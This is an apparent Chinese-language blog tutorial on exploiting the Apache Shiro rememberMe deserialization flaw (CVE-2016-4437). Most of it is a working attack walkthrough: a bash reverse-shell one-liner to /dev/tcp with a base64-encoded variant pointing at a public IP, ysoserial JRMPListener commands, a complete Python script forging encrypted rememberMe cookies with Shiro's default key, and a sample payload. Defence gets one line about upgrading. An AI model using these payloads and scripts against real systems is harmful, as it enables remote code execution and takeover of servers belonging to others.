Apache Shiro反序列化漏洞

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

​ 首先说一下何为序列化,序列化就是指把Java对象转换为字节序列的过程,shiro框架为java框架同时使用了序列化。shiro框架的整体流程为:用户登录成功时会生成一段由序列化–>aes加密—>base64编码构成的cookie值。在服务端对rememberMe的cookie值先做base64解码然后AES解密再反序列化,且由于服务端不对cookie内容进行校验,就导致了反序列化RCE漏洞。

​ shiro框架存在反序列化漏洞,以550为例,分析一下这个漏洞的利用。

Shiro rememberMe反序列化漏洞(Shiro-550/CVE-2016-4437)

1.1 漏洞原理

​ Apache Shiro框架提供了记住密码的功能(RememberMe)

​ 该功能逻辑为用户登录成功后会生成一段由序列化、aes加密、base64编码构成的cookie值。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,且由于服务端不对cookie内容进行校验,就导致了反序列化RCE漏洞。

​ 那么,关键就在于将命令提前写入序列化之前的cookie值中,整套payload的构建流程为:

​ 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

​ 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

​ 防范措施:

升级shiro版本防范过长的cookie。(可能cookie中包含恶意命令)

1.2 影响版本

Apache Shiro < 1.2.4

1.3 特征判断

返回包中包含rememberMe=deleteMe字段

1.4 漏洞利用

1.4.1 手工利用

首先使用工具,检查是否存在默认的key。

python3 shiro_exploit.py -u http://192.168.155.128:8080/login;jsessionid=62BD74EBF53D36468BAAC8D074F3CE3C

此时获取到key,可以尝试进行反弹shell和写入文件。

漏洞利用:反弹shell

以下过程中的ysoserial监听与nc建议在同一台vps上执行,否则会出现ysoserial反弹监听失败的情况

1、制作反弹shell代码

监听本地端口,接收反弹来的shell

nc -lvp 1234

2、监听机通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令,将shell反弹到攻击机上。

Java Runtime 配合 bash 编码,在线编码地址:

http://www.jackson-t.ca/runtime-exec-payloads.html

生成编码:

bash -i >& /dev/tcp/192.168.155.128/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yNDIuMzIuODkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

编译ysoserial(如果有自动化工具,里面的jar文件是编译好的可以直接用)

1)安装maven

wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

tar -zxvf apache-maven-3.6.3-bin.tar.gz

sudo mv apache-maven-3.6.3 /usr/local/maven3

在/etc/profile末尾添加maven环境变量:

export M2_HOME=/usr/local/maven3

export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin

source /etc/profile

2)下载ysoserial并打包

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn package -D skipTests

会在target文件夹中生成一个ysoserial-0.0.6-SNAPSHOT-all.jar

使用ysoserial模块,执行编码后的命令进行监听

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yNDIuMzIuODkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

ysoserial.jar是一款java反序列化利用工具,利用集成了各种payload,常见用法可以用该工具进行shell反弹,将监听到的shell返回给要接受shell的机器,具体用法:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections1 '【commands】'

port:公网vps上监听的端口号

commands:需要执行的命令

3、使用shiro.py 生成Payload

python3 shiro.py 192.168.155.128:6666

rememberMe=PgE8z2tUR4CHl0gxcwSDxLK2+drp//+uqtlG0ozkpC+HgCq3YcLJeebDmjIc1uc57uM9gpAGQyyx2MWO8UwKpTC8tVnquaSAFR96K/FzYN8pv176YM8OXRqG505cGZkLtcRqiXOYJXDwQzGveLEzIXvbXyUm8qAXW6VfPjHAIbDzTb/TjCFoXa8Uj7d3Jg0e6LdXi+1PzbeCjkOYEkE2CzTW29brMV5IsYYIcsQpBIi1ufW9VUjwr4v/BV0drD62c5WktW6RbkSbzeMuKebzfKvbZgBMS1+kts30WfMF4jA2ZyZBYHTcMsRL417EmD5yHIxdzdEPpOt8JHwM8vDd7p5B6QY5wmvtkOzxnrGH83gnESFFFfDLGwELhrctPYyMA7gRe0/+nE1xpSTjRrFcBA==

shiro.py代码如下(需要和ysoserial.jar在同一个文件夹下,注意如果是生成的ysoserial.jar名字会不同记得在代码中修改):

import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

# 此处使用前面拿到的Shiro Key

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

iv = uuid.uuid4().bytes

encryptor = AES.new(key, AES.MODE_CBC, iv)

file_body = pad(popen.stdout.read())

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_ciphertext

if __name__ == '__main__':

payload = encode_rememberme(sys.argv[1])

print ("rememberMe={0}".format(payload.decode()))

4、构造数据包,伪造cookie,发送Payload。

nc监听端口,shell成功反弹:

精彩链接

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: